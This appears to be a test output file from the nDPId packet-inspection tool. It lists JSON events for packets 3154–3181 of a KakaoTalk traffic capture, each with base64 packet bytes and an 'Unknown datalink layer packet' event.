+00577{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3154,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":843085,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALgAAEAAHBH9wgHJAa4KGFK8WgYoHACkl2CAbFGUi0RsWguGVRnA1ZaipNavbc\/\/eam7huI82apsfNTfFY3W5DhPpFXgZ+4Wuwft5MEl2lmf\/JgaoOHlHTrWWzUG7KuA7OXw85wP\/aO0wq8+1i4a1EumKap+y5uj3cCub3YZw3OZ4irtaRqESxC1XrgQ0hTvWYAq\/ZDS65Fc451TQrJW8vbDtImjHLx6MJzAMOZhFnP1lXViaCc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3154,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3155,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":843177,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHRH9IwHJAa4KGFK8WgQsOABDFWWAbDQafrPOA1Sapdp5tRcToREYX9yHp9wMdRI\/XsbecB3KVMhT88iSni0Y3FRDH3kpG5xTD3xYKCRN0g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3155,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00559{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3156,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":851050,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK0AAEAAHBH9zQHJAa4KGFK8WgYoHACZQwiAbFGVi0RwGguGVRlDpeQ9MMrV9epW4s++67CfvovLqS6G+IdfHldBJzkpJeGdGwsgBH\/g3VtoZ4Z2WlVqcP8CpTDlEcYyFaJ\/k7rvjpwazmKWGVeZH36toORVV7bNgwG+RU\/SIf56L47j2X4bENO15M89qjcyLvhduqPXJ77NDJZretVGqkToU0kIUHVtFUpK"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3156,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3157,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":859046,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/nsSAbDQbfrPRw1SapdoXACpOIHwE2LLCSjxHBd+xeeZ7y9KTy9Irrqen+BJr6slhDO3\/gajH51K\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3157,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3158,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":859412,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGIAAEAAHRH9GAHJAa4KGFK8WgQsOABOGxGAbDQcfrPVg1Sapdon1HgxuTP2gJjxqa3TVSPcMFKmJZqsvc4QKBXC\/KyqkMfn9NMsra3UHAxgwCplyyp0D5VYrXsJh6rZ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3158,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00518{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3159,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":870093,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI8AAEAAHBH96wHJAa4KGFK8WgYoHAB7YeeAbFGWi0Rz2guGVRkbgN+gLQbrex4+9SL9Yp6DWV3HeQJgiCc7FXDjyaemuzAQD480GvBcQiReQZHYAAEyXmgPOOTnTt2\/q1h1+hLf4GmyWU\/8BKn2pxVR3lkxrfZ0S1xMyeahepau7s4Zy8gFZsxekIH9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3159,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3160,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":882544,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMYAAEAAQBHZ3AoYUrwByQGuKBxaBgCyX6yAbDQkfrPzg1Sapdp\/zqtmBFWXD20fUZPVdO5VYVZ1yncbOpyfUoEEa+OMJI9JFFI6jYHC5kldLzKMEXV+GF9CbE3gvfwn8VDGoEk012gkOJ\/fTtAzyYI++El+SoeK7Gse+udTMBhHX0UYQqbhW6nL35ZWSNAB80HNmtJgV8sVd7TcxlIjd1iMGBCo6Qji1lpcEoCQpD4ht2CP4Y+Ojoj+iEz\/zhyLUHz3CA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3160,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00569{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3161,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":887030,"pkt_caplen":198,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":198,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALYAAEAAHBH9xAHJAa4KGFK8WgYoHACihxiAbFGXi0R3mguGVRmWGZT0x7CeO3hJqOKr2khlnM9s2kygBvPNvtQP7PXcYQEk1b2wO3xQWFc0jC2Wc9H9tJq8c6ZhD0GyBSlvo1FoEPCmHovxDYze5HbwS\/HR1fGYl9nEbcYN8hbVZa992h0TDfFvQk6n81HfbSkb09IcKdLdgqCs7uBg3xccZwThQjM2Ep6NT2YWBnCqeUPg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3161,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3162,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":899085,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHRH9IQHJAa4KGFK8WgQsOABF1TyAbDQefrPdA1SapdoD748WoMbtNblHw6gl7tSDjf9cl5ZKrKI4b+JDEt4rtYUHVbwbz0vxY9UToegNX7EY"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3162,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3163,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":899512,"pkt_caplen":122,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGoAAEAAHRH9EAHJAa4KGFK8WgQsOABW9BGAbDQdfrPZQ1SapdoSRSAhq0X8B7ClhrhOw\/OH+nl98xqw710AYABIG1mcBXZCWvEn6IDpbszTabZpHh8kqGn3ZpYeayt7IexkwDAICT4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3163,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3164,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":924750,"pkt_caplen":215,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":215,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMcAAEAAQBHZ2woYUrwByQGuKBxaBgCzizOAbDQlfrP3Q1Sapdq5OZrUyhQPorb5ERqp2BZyucUGPTOK9uGjpWolsY9KlZaeSdw3ApJPSCbwJOmAlj7QOI7VCi38JgY9gn5LH3YINqPSwccvIvDz+Uf70\/kKE8U7EJBNQtrX1pBlggHEbFF4d3wLrtbH\/MXH8vx2dftryYr4o\/vVGkt1oOb+AoEEkhEccaumvLDLgRlTbvGDl3FcaPDOM5xCGRLMlYc9p0g="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3164,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00577{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3165,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":939002,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALoAAEAAPxHa6AoYUrwByQGuLDhaBACmRJeAbFGfi0SVmguGVRmbJoNun7YtIcgs4OaTm7dLNAJ2o4I+6JOS0bTNH0rqDbXdMSfAJku\/7dhlhkjJahvqHIgLpCEAOLvADe3Ht8KfrzDV9tMqAuar5wIFL4FmO2dlW5yu01D65YGQ1f0klBljqXIQ4KFZ7trstUnAt3LWFvMX4VM19srDuE6niYtotlADLwSKbeyIWcmPI5ZcCmub7A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3165,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00514{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3166,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":955298,"pkt_caplen":154,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":154,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIoAAEAAHBH98AHJAa4KGFK8WgYoHAB2w+yAbFGZi0R\/GguGVRn5zw\/KXLDMiSeu9k16sFNYkXhIGnDi47mIoBlHc1thBGnJJ47m3m3BJLPHmXbUEFdEzqwZZgzD4XuoM2ChBiV0Y4uJJyS+7Cjqm1n251C8PTq7xs0TFd5XvSNjMzn9715MJg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3166,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00564{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3167,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":955542,"pkt_caplen":194,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":194,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALIAAEAAHBH9yAHJAa4KGFK8WgYoHACedE+AbFGYi0R7WguGVRlzCg5AP8xzklGJ4RZdomISuGo2Ye0BybeahdwJZSLTEq6O4QGM+Tb+t5dKpRI0MAhSd02IaF6lflu2IDTgbbDjL9hamXSJ4WRRQee1bcjR+vmH1x3tJb1WkmRdRbD1PLmCd6m+cd0MHcVvGOdB8RQzknPukNQlkgZXDp7o5sDkWB8okih8jwjiMQo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3167,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3168,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":955664,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHRH9HAHJAa4KGFK8WgQsOABKcyqAbDQffrPgw1SapdpsS\/IoV748wsk8KpqOiy1HVzLvV6\/tsByeMEckD8IqVfcqpN6j+JftjN\/YQKSEgElFyv3diQo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3168,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3169,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":959113,"pkt_caplen":141,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":141,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH0AAEAAHBH9\/QHJAa4KGFK8WgYoHABpjNKAbFGai0SC2guGVRkUR1eNBEaJizY9N\/Elgl4ZoRkAfJ6JHu5MunJDVmttJnrK+u88Phl522Xu4phqHSeVB3VNArz0CM6EQNnBfgvqNHLpd1mivFd6j8h+QOrFJM0WZ8Sn"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3169,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00478{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3170,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":968543,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHEAAEAAHRH9CQHJAa4KGFK8WgQsOABdKDKAbDQgfrPkg1SapdpDvJTmdQOfEXhiPwgIiWgM\/7+J34+UR0s2zHzC4eGEyYl2sv1ve8PslWQFmhnhRGuI\/rDFQH0adU6QjyABJ6qyIFGvUS3BPAOO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3170,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00547{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3171,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":979132,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKMAAEAAHRH81wHJAa4KGFK8WgQsOACPf6WAbDQhfrPoQ1SapdpZSviJW1qG+fyovg661l98bE0\/yu52C3ngrXwWSIu\/RN7BTdsKbhXpAMz3B7b\/7H0jcURyo8FSdyh5rKNgvJZyTtmL2ubbA9Y1p3Vu5XLuhAGgOKu5niL4H8eVvKnSnMM5nYQ588R3BhMe1fvBJYjejeEesEZZ9lEzv4w="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3171,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00619{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3172,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":988440,"pkt_caplen":234,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":234,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANoAAEAAHBH9oAHJAa4KGFK8WgYoHADG4w6AbFGbi0SGmguGVRklunzYexA7kU3G5sAe6voc\/XNKmtCYKfH7xgGlpCLhtbmy4nT\/dMD9kKkE8CmKVgIlHaoUm+XT2G6l05RSMoPObLK1zrZy5Q33f5AL1R636QuyYmJ37iaO+YCnWwCgJlA72YY6HpLLNKiP2Yf2cLSo4q1Bgkmf+FJBEi3\/QJYO2ye100jkOBhaK2pOLnMMLvmzibmT8V492+N+bwqKMppm+GsMcQbit9InCOtm3hB3O8g5"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3172,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00584{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3173,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":25824,"pkt_caplen":207,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":207,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAL8AAEAAQBHZ4woYUrwByQGuKBxaBgCrP+yAbDQmfrP7A1SapdqlXyIKRNNUMIU3QYqSyjGP7LxM1RU4SZG1U3zNDKKkoa7I46qx2nro+eouDQOvrfbWodk\/u53koHejAEomstBcWgmKnUmijf4MRw2+U\/J6rRONDlH+z9dzaIYp7u\/6nirFa8UvJ5XpN7DZxiElcB3SZETFLQ27roke\/HkxcQCbhYV3FMupmqh0OAfJjHyOi\/kImFsUwHA8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3173,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00613{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3174,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":27106,"pkt_caplen":227,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":227,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANMAAEAAHBH9pwHJAa4KGFK8WgYoHAC\/3MSAbFGci0SKWguGVRl\/SkhVgTkQfI\/DEf2RKFyCGkrtflNfxP7fhLekEnmSqejjWvNSYlInsU1HVa\/ovkH6k60BJrojcoa+Wt7oHurk7+sdm2oZnVCznvBMnS9QaQshEii9r+GHlzkYKVRg\/EjuQKbuRXQJnwUT3NggS+KfWtdbSaQpK6gGWJmP+Zz4AW4UHzP9\/XWBMhZ1R2LTzjTbsipDsvup3jNm+BJXxpuONEncp9MLwwSKzuw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3174,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3175,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":36902,"pkt_caplen":193,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":193,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALEAAEAAPxHa8QoYUrwByQGuLDhaBACd2mWAbFGgi0SZWguGVRn2QGdJZsfMK\/94cX0FOmBK5xCnut\/h8DlR9EyRNMWdzd\/on\/4IXlqff2cnAgyyo2CSqnqpBNK6gZ2S43YxonjFHmw9HD4xl68HwDJLMcjbsj5SbzvhAIUmM5gUN6Me4qLqc683u+WEymA73GsD8+yNQYfMwnUe2Iel6rhg7OV4tsLgKGzHZ3HC2A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3175,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00558{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3176,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":39069,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK0AAEAAPxHa9QoYUrwByQGuLDhaBACZUQiAbFGhi0SdGguGVRklgBJRjPffvrahvK8s8\/euPA5\/Nt3vWPu0hosMc+I9tyDWGWV4by7Wa8Iyyx+cIVtkHyO4ibcx68u9eaTd3+uHIkmVN8v1sfVRp+LKxhb9DvIhctm\/YprtNjK67AHqbfoQNn7vajoUnUqkzGXPpf57MKNl93o+tOH1IMJ6IwkUfgfPj9Ss"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3176,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00607{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3177,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":51001,"pkt_caplen":223,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":223,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM8AAEAAHRH8qwHJAa4KGFK8WgQsOAC7gfaAbDQifrPsA1SapdoixsWTzlAmLooJ8jY6U78vNsJ4oFf9R7jwBLGLNXXz3YNDVIY6Le1kYQdX40I493+7zvAroe7pS1rgXtmBVlnU+51PD5W2edkgq29pP0Taz5OEHDLPGBrBXVnPQ0MTL6xu8IUVTN\/pydUKPaDLVOOeFM1\/jbTVYU\/sjc+MMeMRhBvLKKQCuU27iLpZN1VIqGv38etICC8U2JVr9cDlTyoprmHhUA\/Hzw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3177,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3178,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":57868,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKcAAEAAQBHZ+woYUrwByQGuKBxaBgCTZdiAbDQnfrP+w1SapdpgI8jDxmzsASL6aS\/jGI\/LeA80TR6ysGFLr3HZ3Qg0EazjnC166rELHupe8D6PC88JfjRHTQAH4qWG4NXTp6YcqY0wyDwD0JUf5sqooGSTskOP0yk\/2LvleFPINf\/LhcIXWSi1F9Ypmm2Uix4dTXxVpN3hhCWLEsvDhJPOhX4I"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3178,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +01489{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3179,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":69434,"pkt_caplen":878,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":878,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAA15KqUAAQAaSngoYUrxuTI8y5ekjKS1pmAvX8Kx5gBgDYFMwAAABAQgKAALbNUTcDmIXAwEAINjWWE+E3Law6Yi+BzWgERliOGdNlxhFiXannfciUmkDFwMBAwClbqVN+pYplMi6kw+b2nmCdPPTYyQZk4kcIC2PqQa2DuEP5HkKRqT1ab+EQAdXxA6Zgtn5tzYQoOJyN6jNLaSPBnxDBj6k\/tiU0lH2b3k6F+vfy5jqnM3q33tN3WmTz6QKmQuWbgJO1qajyJJiWgJ3HBgrBG6AgQYpSxG7N8tfzGJErgQZWcAUkOTbW3g8T4NKEWKWER0m3CNyqnU5crotG0C2M9\/\/AOTVTlnanx039452wTUMzJC7eUtsnlodKko2epFmKic+V0WXVj9\/Do+8R4HHnBL0P1rir\/vXoPUiIoiFEOTau70EuMlIpbfCeWXATzoqeHz2HZz+d1AanlVJsHpMFLVE9jkGo+F\/XF+GXWaltcruGDXn\/fkgf2JeSh53QE41T1V8yoB6i5NDQFtw8ZhvCrDmMD7\/QWNG5Zmz87xR2yi4zwHn8swwG2BjR0pa0RsOeR2pw+aafocCHJTCmlvrITtf2sUK30FoB25Hhpn4dXfG+jwiRPYn9w2BiQGb9eVaqFpovnninVsLeSdvJMXWnLY05qB+d2yjT3QVpElU1im94m5B+D4wBqyO8MCUnBfB6Jhu3BKOV+XS4zZPp5yYz0Z23uB3K8c2K237UW7tFFbgFYDB5G2RQhRwWbl0cLiXa7XOjAmpwFmXtqysi\/M5\/Rr7FEuwvrRjSA7wgvrXB7HMxX5wKjewRW8eHbU+sgjCKH\/BevJicCb8uDDER7TLCZgivh7W9NS6Ix+yP5QHI7ansIVfJFUwQFog7J80k4VJ5Wu2+tHSMG3jjqpkaOanYdg+sQvEaDUM9nFd08URMkpXIaQhQAhEvM0mbTkaBxccGrMQEis7GXsvEtgcf0GL7zmMdHRbJMtUh7h1n62vTchRc\/C\/bVF4Wl18qUdga8Z7kGaq2YtSBRA+hBJz5Lac6a9nC\/BCsJ1H1UjN2g9fd+0tsUVkRrxDUTjTq1s58ysBFQxJ1eFgkjPnv8qatvlGvjTAQVgG2Wa+JYzgoUyXlaFMxSsVtV+UC3VphGY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3179,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00507{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3180,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":76270,"pkt_caplen":150,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":150,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIYAAEAAQBHaHAoYUrwByQGuKB1aBwBym7mByAAMVJql2rfI7vBFd0Of\/Q4E4YKoUcOHTclKlUe1NrBQVo7\/47XaPoPN3NC7HALjNjAqc9\/ndBP5WXHIC6l8\/4IaND2fFWO6T79RwG3PwRuqTlCeqWR4P2lZJYAAAAy1SBKY9VOLqhrQ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3180,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3181,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":79077,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM4AAEAAHBH9rAHJAa4KGFK8WgYoHAC6KdmAbFGdi0SOGguGVRmOcOnLZl+ukDOLF6IMmpTyEm5ZkCGpjKHOrYhAF1G+qTk6qhsja42M3k9+7dhUyM1RW4gRhKOzhxj\/xmq6HDbqIGy\/rtXvIqJeEqEhMx9uK3P837MevL15JETIBdfgEI9Qy8GsIdkwf6\/v5ZT6COxrs8z8xRDlZ82gPhPoWjz4WMUzGddlSzPrw8nn5olF2h+3olSvgHedbRLO5r02xzkRPeUAb4h+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3181,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 